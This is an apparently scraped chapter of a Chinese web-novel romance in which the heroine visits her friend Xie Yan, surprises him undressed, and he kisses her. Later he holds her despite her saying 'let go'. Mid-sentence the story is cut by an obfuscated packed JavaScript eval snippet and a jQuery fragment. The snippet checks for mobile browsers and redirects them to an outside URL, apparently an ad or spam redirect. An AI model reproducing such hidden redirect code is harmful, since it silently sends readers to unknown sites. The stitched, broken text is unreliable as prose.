123读书网 > 都市小说 > 逢若杂粮铺 > 54. 王生来这样· 谢年前慕今·番外

54. 王生来这样· 谢年前慕今·番外

    立冬一至,京城便落了第一场寒雨,风里裹着刺骨的凉,吹得人缩紧了衣领。祈昭刚把府里的事安顿妥当,小白蜷在她亲手做的沉香木小屋里睡得安稳,萧惊渊被她寻了个由头丢在宫中处理奏折,正闹着小脾气,她却早已揣着谢随差人快马送来的请柬,一身轻便劲装,独自出了城。


    谢随在信中说,安淮立冬不似京城萧瑟,湖山清寂,蟹肥菊黄,邀她前去小住几日,暂避王府与皇宫的纷扰,也好好歇一歇。


    祈昭本就厌了连日的琐碎,二话不说应下,谁也没带,没带黏人的小白,没带甩不掉的萧惊渊,只孤身一人,策马往安淮而去。


    一路行来,风越来越软,空气里少了京城的干冷,多了几分水乡的温润。立冬时节的官道两旁落木萧萧,金黄的叶子铺了满地,马蹄踏过,沙沙作响。她走得不快,沿途看遍了山野秋末入冬的景致,看炊烟袅袅升起,看农户围炉取暖,心里积攒的那点因萧惊渊装病骗她而生的闷气,竟也慢慢散了。


    行至半途,天色渐暗,忽然下起了细密的冷雨,打湿了衣衫。祈昭寻了路边一间简陋的茶寮避雨,刚坐下,便有店家端上一碗滚烫的姜茶,暖得她指尖渐渐回温。


    邻桌坐着几个赶路的客商,聊着安淮近来的安稳,说谢随王爷治理有方,立冬开仓放粮,百姓安居乐业,连渡口的商船都比往年多了几分。


    祈昭握着茶碗,唇角不自觉弯了弯。


    她与谢随相识多年,那人永远沉稳温和,分寸得当,从不会像萧惊渊那般耍赖黏人,也不会像小白那般沉默缠人,相处起来,最是清净自在。


    雨势渐小,她重新上马,趁着暮色抵达安淮地界。


    刚到城门口,便看见谢随一身素色锦袍,立在寒风中等候。他身姿挺拔,眉眼温润,见她孤身一人前来,眼底掠过一丝浅淡的笑意,上前一步,伸手稳稳扶住她下马的手。


    “我还以为,你至少会带个随从。”谢随声音温和,接过她手中的马缰,递给身后的侍卫。


    祈昭掸了掸衣袖上的雨珠,挑眉一笑:“不过是来游玩,何必兴师动众。何况,我只想清净几日。”


    话里的意思,两人都心照不宣——躲开皇宫里那个装病骗妻的帝王,躲开王府里寸步不离的灵蛇,只做个暂时无牵无挂的北冥王。


    谢随低笑一声,没有点破,只侧身引着她往城内走:“安淮不比京城繁华,却胜在安稳。立冬的安淮湖最是好看,我已备了小舟,明日带你去湖上看落日,还有你爱吃的蟹酿橙、醉虾,都让人备好了。”


    祈昭心头一暖。


    谢随永远这般细心,记得她所有的喜好,从不逾矩,也从不打扰。


    两人并肩走在安淮的街道上,百姓见了谢随,纷纷躬身行礼,眼神里满是敬重,却无半分畏惧。街边的铺子挂着越冬的年货,暖黄的灯光从窗棂里透出来,香气四溢。


    “你治理安淮,倒是治理得极好。”祈昭由衷赞叹。


    “不过是尽本分而已。”谢随侧头看她,目光温柔,“你肯来,这里才算真的圆满。”


    祈昭脚步微顿,随即笑了笑,岔开了话题:“先说好,我这次来,只玩不办公,你可别拿政务烦我。”


    “自然。”谢随应声,眼底笑意更深,“一切听你的。”


    入夜,谢随安排她住在临湖的别院。庭院里种着几株耐寒的菊,开得正好,屋内烧着暖炉,暖意融融,没有皇宫的压抑,没有王府的琐碎,安安静静,只剩她一人。


    祈昭推开窗,望着安淮湖沉沉的夜色,湖面泛着细碎的波光,风拂过,带着水汽的清凉。


    她终于可以不用惦记萧惊渊会不会又耍小性子装病,不用操心小白会不会爬错地方,不用应付府里的琐事,只安安心心,享受这片刻的自在。


    第二日天光大亮,谢随便来寻她。


    两人乘一叶小舟漂在安淮湖上,舟中摆着热茶、鲜果,还有刚蒸好的肥蟹。阳光洒在湖面上,波光粼粼,岸边的芦苇随风轻晃,偶尔有飞鸟掠过,划破湖面的平静。


    谢随执壶为她添茶,语气闲适:“京城近来,不太平静?”


    祈昭抿了口茶,无所谓地耸耸肩:“还能如何,不过是某人闲得发慌,变着法子缠人罢了。”


    她不用细说,谢随也懂。


    那位九五之尊对她的心思,天下人皆知,只是祈昭向来嘴硬心软,才被那人吃得死死的。


    “你既来了,便多住些日子。”谢随轻声道,“安淮永远是你的退路,只要你想,随时可以来。”


    祈昭心头一震,抬眸看向他。


    谢随的目光坦荡又温和,没有半分逾矩的情意,只有纯粹的守护与成全。


    她笑了笑,举起茶杯:“多谢。”


    “不必言谢。”谢随与她轻轻碰杯,“只要你开心就好。”


    立冬的风虽凉,湖上的日光却暖。


    祈昭靠在船舷上,看着眼前的湖光山色,听着身边人温和的话语,心里一片澄明。


    她这一生,有萧惊渊那样热烈偏执的爱意,有小白那样沉默执着的守护,也有谢随这样分寸得当、永远安稳的陪伴。


    而此刻,她谁也不属于,只属于这安淮的立冬,属于这片刻的自由与清净。


    萧惊渊在皇宫里等不到她的消息,急得团团转,却不知她在千里之外的安淮,正卸下所有身份与牵绊,安安心心做一回自己。


    夜色一沉,安淮湖畔的别院便浸在温柔的灯火里,立冬的晚风带着水汽,轻轻拍打着窗棂。


    祈昭在偏厅喝了半盏温酒,想着谢随说晚些带她去后院看新开的寒梅,左等右等不见人,便索性起身,径直往他的卧房走去。她素来随性惯了,又与谢随相识多年,毫无避忌之心,抬手连门都没敲,直接推门就闯了进去。


    屋内烛火摇曳,暖意融融。


    而眼前的一幕,让祈昭当场顿在原地,连呼吸都漏了半拍。


    谢随正背对着她换衣,早已褪去了外袍与中衣,上身完□□露。


    烛火落在他线条流畅的肩背,肌理紧实却不夸张,宽肩窄腰,脊背线条笔直利落,每一寸肌肉都生得恰到好处,劲瘦有力,是常年习武与理政沉淀下来的挺拔匀称,不见半分浮夸,却每一处都透着沉稳又极具冲击力的性感。


    月光从窗缝漏进来,洒在他浅麦色的肌肤上,泛着一层温润的光。


    祈昭眼睛瞬间亮了,心底直接炸开一句——我靠,这身材也太牛逼了吧?!


    她活了这么多年,见惯了萧惊渊那种九尺高、气势张扬的帝王身形,却从没见过谢随这样清瘦却有料、禁欲又性感的身段,每一根线条都长在了她的审美上。


    她站在原地,眼睛直勾勾地盯着,半点不避讳,甚至还下意识往前凑了两步,凑近了仔细打量。


    下一秒,她更是毫无心理负担,抬手就朝他肩头摸了上去。


    指尖刚一贴上那温热紧实的肌肤,祈昭心里还暗叹一句——手感也这么绝。


    她是真半点不矜持,不要脸就不要脸了,好身材不摸白不摸。


    谢随浑身一僵,猛地转过身。


    四目相对的瞬间,他整个人都愣了,显然没料到她会突然闯进来,更没料到她会直接上手摸。


    祈昭的手还贴在他肩头,仰着头,一脸坦荡又惊艳的样子,半点没有闯错房间、冒犯他人的自觉,甚至还想往他手臂的线条上再摸一把。


    “谢随,你可以啊……藏这么好的身材。”她甚至还挑了挑眉,语气坦荡得不像话。


    谢随的耳尖“唰”地一下就红了,从耳尖蔓延到脸颊,再到脖颈,连浅麦色的肌肤都染上了一层薄红。


    他长这么大,从未与人如此亲近过,更从未被女子这般直白地打量、触碰,一时之间连呼吸都乱了节奏。


    不等祈昭收回手,谢随猛地抬手,一把攥住了她还在作乱的手腕。


    他的掌心温热,力道不轻不重,刚好将她的手扣在自己身前。


    祈昭愣了一下,刚想开口调侃,就见谢随垂眸,呼吸微沉,竟缓缓将她的手,轻轻贴在了自己的脸颊上。


    他的脸颊滚烫,睫毛轻颤,嘴唇微微蹭过她的指尖,动作轻得像一片羽毛,却带着让人心脏骤停的温柔。


    祈昭的心跳,莫名漏了一拍。


    下一秒,谢随空着的另一只手抬起,宽大温热的手掌,轻轻覆在了她的眼睛上,彻底遮住了她的视线。


    他的声音压得很低,带着一丝不易察觉的颤抖,哑得温柔:


    “王,请闭眼。”


    祈昭的眼睫轻轻颤动,扫过他的掌心,竟真的下意识听话地闭上了眼。


    黑暗里,所有感官都被放大。


    她能闻到他身上清浅的檀香,能感受到他掌心的温度,能听见他略显急促的心跳。


    紧接着,一片极轻、极软、极小心翼翼的温热,轻轻碰在了她的唇上。


    只是一瞬,像落雪吻过花瓣,像晚风拂过湖面,一碰即分,迅速收回。


    快得仿佛只是错觉。


    祈昭浑身一僵,整个人都懵在了原地。


    谢随猛地收回手,后退半步,耳尖红得几乎要滴血,连脖颈都染上了绯红,平日里沉稳


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261150|198029||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    温润的人,此刻整张脸通红通红,连眼神都不敢再与她对视,手足无措得像个第一次动情的少年。


    他垂在身侧的手紧紧攥着,喉结滚动了一下,半天说不出一句话,只剩下满室的安静,和两人乱得一塌糊涂的心跳。


    烛火轻轻摇曳,映着他通红的侧脸,也映着祈昭骤然睁大的眼睛。


    立冬的晚风从窗外吹进来,带着一丝凉意,却怎么也吹不散,这房间里骤然升起的、滚烫又慌乱的暧昧。


    谢随整个人还僵在原地,上身依旧未着寸缕,肩线绷得笔直,可那张向来温润沉静的脸,从脸颊红到耳根,再一路烧到脖颈,连耳尖都泛着熟透的薄红。


    他垂在身侧的手紧紧攥起,指节微微泛白,眼神慌乱得不敢直视祈昭,只死死盯着地面,声音又轻又哑,带着几分无措,还有点近乎可怜的认真:


    “……这是我第一次。”


    祈昭一怔,先是愣了愣,随即嘴角不受控制地往上扬,眼看就要笑出声——她从没见过这样手足无措、像被抓包的少年似的谢随。


    可她笑意刚冒出来,下一秒,一只温热的手掌猛地覆了上来,死死捂住了她的嘴。


    谢随几乎是急得凑上前,呼吸都乱了,眼底带着薄薄的慌乱,又带着点恳求,声音压得极低,带着一丝发颤:


    “不许笑。”


    祈昭的眼睛弯成月牙,被捂着嘴,只能发出闷闷的气音,眼底的笑意藏都藏不住。


    谢随看着她这副模样,心尖又慌又软,几乎是放软了全部姿态,低声哀求:


    “不许笑,王……求你了。”


    他这一句“求你了”说得轻而郑重,带着几分窘迫,几分认真,还有几分连他自己都没察觉的委屈。


    长这么大,他第一次对人动心,第一次主动靠近,第一次吻一个人,偏偏还是在这样狼狈的场景里,被她看得一清二楚。


    他怕她笑,怕她觉得他笨拙,怕她觉得他唐突。


    祈昭被他捂着嘴,眼底的笑意慢慢收了些,取而代之的是一丝怔忡,一丝异样的心跳。


    她看着眼前满脸通红、手足无措却又死死护着自己最后一点体面的谢随。


    谢随见祈昭眼底的笑意压都压不住,耳尖依旧烧得滚烫,终究是不忍心再捂着她,缓缓松开了覆在她唇上的手,垂着眼睫哑声说:“王想笑便笑吧,臣……不在意的。”


    他话音刚落,已经做好了被她调侃打趣的准备,可祈昭非但没笑,反而清了清嗓子,别开眼故作镇定地开口:“笑什么,赶紧把衣服穿好,不是说后院的梅花开了?带我去赏梅。”


    她说着就要转身,摆明了想把刚才那慌乱暧昧的一幕翻过去。


    可谢随哪里肯就这样放过。


    他好不容易鼓起勇气碰了她,好不容易把藏了多年的心思泄了一点出来,怎么甘心就这么被轻轻揭过。


    不等祈昭迈开步子,谢随猛地伸手,一把握住了她的手腕,稍一用力,直接将人重新拉回了自己怀里。


    他本就九尺上下的身形,宽肩窄腰,此刻上身未着寸缕,温热紧实的胸膛几乎贴着她的后背,带着清晰的心跳与体温,将她整个人圈在身前,牢牢锁在自己怀中。


    祈昭猝不及防撞进他怀里,整个人都僵住:“谢随!你——”


    “王不想笑,也不想提,可臣……不想就这样算了。”


    他的声音压得很低,哑得发颤,带着从未有过的执拗,脸颊依旧通红,却鼓起全部勇气,低头埋在她的颈侧。


    他不会亲,也不懂那些缠绵的技巧,只凭着一腔笨拙又汹涌的心意,对着她的颈侧、耳垂、唇角,胡乱地轻咬轻蹭。


    不是凶狠的咬,是轻轻的、带着试探与慌乱的啃咬,像不知所措的小兽,又像第一次动情的少年,把所有无措与喜欢,全都藏在这毫无章法的乱咬里。


    齿尖轻轻擦过她的肌肤,带来一阵细微的麻痒,温热的呼吸洒在颈间,烫得祈昭浑身发软。


    “你……你放开!”祈昭挣扎了一下,却被他抱得更紧。


    “不放。”谢随咬着她的唇角,声音含糊又委屈,“王刚才摸臣的时候,不是很自在吗……现在怎么躲了。”


    他耳尖红得快要滴血,动作却固执得很,依旧胡乱地咬着,从唇角到下颌,每一下都轻得小心翼翼,却又带着不容挣脱的力道。


    立冬的晚风从窗缝钻进来,吹得烛火轻轻摇晃,映得满室暧昧滚烫。


    向来温润守礼的谢随,此刻褪去了所有分寸,只凭着一腔孤勇,把自己最笨拙、最赤诚的心意,全数摊在了祈昭面前。